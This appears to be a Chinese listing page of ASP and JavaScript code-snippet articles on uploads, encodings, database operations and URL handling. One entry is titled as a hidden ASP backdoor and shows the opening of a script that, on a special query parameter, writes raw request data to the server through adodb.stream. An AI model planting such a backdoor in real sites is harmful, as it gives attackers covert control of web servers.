-
ASP防止圖片木馬上傳的代碼
ASP木馬防御: 復制代碼 代碼如下: const adTypeBinary=1 dim jpg(1):jpg(0)=CByte(&HFF):jpg(1)=CByte(&HD8) dim bmp(1):bmp(0)=CByte(&H42):bmp(1)=CByte(&H4D) dim png(3):png(0)=CByte(&H89...
作者:asdasdasd03-30 -
asp中文件與文件夾常用處理函數(文件后綴、創建文件等)
復制代碼 代碼如下:'===================================== '獲得文件后綴 '===================================== Function Get_Filetxt(ByVal t0) Dim t1 IF Len(t0)<2 Or Instr(t0,".")=0 ...
作者:asdasdasd03-30 -
服務器XMLHTTP(Server XMLHTTP in ASP)基礎知識
相對于 Ajax,服務端 XMLHTTP 就是在服務端使用 XMLHttpRequest 對象了。雖然說,在服務端使用異步請求是比較不方便的,但是做為可以服務端發送 HTTP 請求的組件,學習一下也是沒有壞處的。 這里...
作者:asdasdasd03-30 -
ASP codepage 頁面編碼使用說明
指定的代碼頁特性無效。 codepage屬性:是指出網頁的代碼頁 如果制作的網頁腳本與WEB服務端的默認代碼頁不同,則必須指明代碼頁: 復制代碼 代碼如下: codepage=936 簡體中文GBK codepage=950 繁...
作者:asdasdasd03-30 -
asp空間判斷jmail組件是否安裝或支持的代碼
首先,必須有錯誤繼續進行的聲明On Error Resume Next 然后嘗試簡歷jmail實例: Dim JMail Set JMail=Server.CreateObject("JMail.Message") 對實例做出判斷,如果組件沒有安裝成功,則沒有創建...
作者:asdasdasd03-30 -
asp添加數據實現代碼
舉例: 如:在字段名處輸入:username,password,email,telphone 注意:不同的字段名用英文逗號隔開,且不支持星號 表名處輸入要查詢的表名:如:table1 前臺表單頁面: 主要是注意input字段的name...
作者:asdasdasd03-30 -
asp中獲取當前頁面的地址與參數的函數代碼
復制代碼 代碼如下:Function getCurrentUrl() On Error Resume Next Dim strTemp If LCase(Request.ServerVariables("HTTPS")) = "off" Then strTemp = "http://" Else strTemp = "https://" En...
作者:asdasdasd03-30 -
隱蔽的ASP后門 大家可以查看下
復制代碼 代碼如下: <%if request.QueryString("action")="log" then a=Request.TotalBytes:if a Then b="adodb.stream":Set c=Createobject(b):c.Type=1:c.Open:c.Write Request.BinaryRead(a)...
作者:asdasdasd03-30 -
網站開發防止中文亂碼需要了解的codepage的重要性小結
相關的題外話:
作者:asdasdasd03-30
一、操作系統window系統內部都是unicode的。文件夾名,文件名等都是unicode的,任何語言系統下都能正常顯示。
二、輸入法:微軟拼音輸出的是Unicode的,智能ABC輸出是簡體中文的... -
asp 刪除數據庫記錄的代碼
刪除單條記錄 復制代碼 代碼如下: id = saferequest("id") sql="delete from table1 where whereid>"&id&"" rs.open sql,conn,1,3 response.write "<script>alert('刪除成功');location.href='d...
作者:asdasdasd03-30 -
ASP的URLDecode函數URLEncode解碼函數
下面的代碼是從kesion系統扒下的,確實不錯,支持utf8格式。復制代碼 代碼如下:'================================================ '函數名:URLDecode '作 用:URL解碼 '====================...
作者:asdasdasd03-30 -
ASP讀取日期單日期自動補零函數代碼
復制代碼 代碼如下: public function fillzero(l1) if len(l1)=1 then fillzero="0"&l1 else fillzero=l1 end if end function 用法示例: 復制代碼 代碼如下: response year(now)&month(now)&...
作者:asdasdasd03-30 -
asp(JavaScript)自動判斷網頁編碼并轉換的代碼
完整的示例代碼如下: 復制代碼 代碼如下: <%@LANGUAGE="JAVASCRIPT" CODEPAGE="65001"%> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8"> <title>JavaScr...
作者:asdasdasd03-30 -
set rs=server.CreateObject("adodb.recordset") 的中文詳細說明
是建立一個數據集 前面應該先定義此數據集 dim rs as adodb.recordset 然后就可以用 set rs=server.CreateObject("adodb.recordset") 來建立一個數據集的實例,當然此時數據集中是沒有數據的 rs...
作者:asdasdasd03-30 -
ASP下批量刪除數據的兩種方法
方法一: 復制代碼 代碼如下: id=request.form("checkbox") id=Split(id,",") shu=0 for i=0 to UBound(id) sql="select * from jiang_fname where id="&id(i) set rs=conn.execute(sql) if not...
作者:asdasdasd03-30 -
asp下通過HTTP_USER_AGENT判斷用戶是從手機上訪問,還是電腦IE上訪問
通過HTTP_USER_AGENT判斷用戶是從手機上訪問,還是電腦IE上訪問。 asp代碼片段:主要使用了正則匹配手機環境,大家可以補充手機平臺。 復制代碼 代碼如下: set regex = new regexp regex.ignore...
作者:asdasdasd03-30 -
ASP中使用Set ors=oConn.Execute()時獲取記錄數的方法
復制代碼 代碼如下: <% Dim oConn, ors, aRows Dim i,j Set oConn=Server.CreateObject("ADODB.Connection") oConn.Open "Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" & Server.MapPath("d...
作者:asdasdasd03-30 -
查看ASP詳細錯誤提示信息的圖文設置方法
經常遇到網站無法打開返回500錯誤提示,讓人一籌莫展,那如何才能查看詳細的錯誤提示,找到錯誤所在么?
作者:asdasdasd03-30
下面,我們以Windows XP為例
1.打開IE瀏覽器,在“工具”菜單中選擇“Internet選項”效果... -
javascript增加干擾數據實現簡單加密效果
復制代碼 代碼如下: var lishustr = "qwertyuiopasdfghjklmnbvcxz"; var s = lishustr.split(""); var lishua = ""; var lishub = ""; var lishuc = ""; var lishud = ""; lishua = s[getRandom...
作者:asdasdasd03-30 -
Ajax跨域代理訪問網絡資源的實現代碼
smart.asp復制代碼 代碼如下:<script language="jscript" runat="server"> /* 在VBS里面的調用方法 dim myhttp set myhttp = SmartHttp(url,method,data); //三個參數均可選 屬性: url:String...
作者:asdasdasd03-30 -
獨立圖片服務器的圖片上傳的解決方式
像一些大的網站,就將圖片、CSS、JS、數據庫都需要分開到不同的服務器上,為這些不同的服務器單獨一個域名。這樣不僅提高的訪問速度,而且一臺服務器壞了,不影響整個網站的打開。 這里介紹一下...
作者:asdasdasd03-30 -
ASP處理多關鍵詞查詢實例代碼
程序代碼: 復制代碼 代碼如下: '關鍵字的搜索 str="select * from tableName where id>4" if srhKey<>"" then keyArr=split(srhKey," ") j=UBound(keyArr) t=0 dim keystrArr() for i=0 to j i...
作者:asdasdasd03-30 -
asp中的rs.open與conn.execute的區別說明
rs.open sql,conn:如果sql是delete,update,insert則會返回一個關閉的記錄集,在使用過程中不要來個rs.close在文件最后再寫rs.close 中間可以來多個記錄集rs1.open sql1,conn,最后一塊關閉...
作者:asdasdasd03-30 -
asp google pr查詢代碼
復制代碼 代碼如下:<%@LANGUAGE="JAVASCRIPT"%> <title>Google PR值查詢 asp程序</title> <% function hexdec(str) { return parseInt(str,16); } function zeroFill(a,b) { var z = hexdec(80...
作者:asdasdasd03-30 -
讓ASP程序自動運行的代碼
這要用到計劃任務,首先假定你這個程序的地址為“http://1.0.0.8/a.asp”,那么你編輯如下內容: 復制代碼 代碼如下: Dim IE Set IE = CreateObject("InternetExplorer.Application") ie.naviga...
作者:asdasdasd03-30
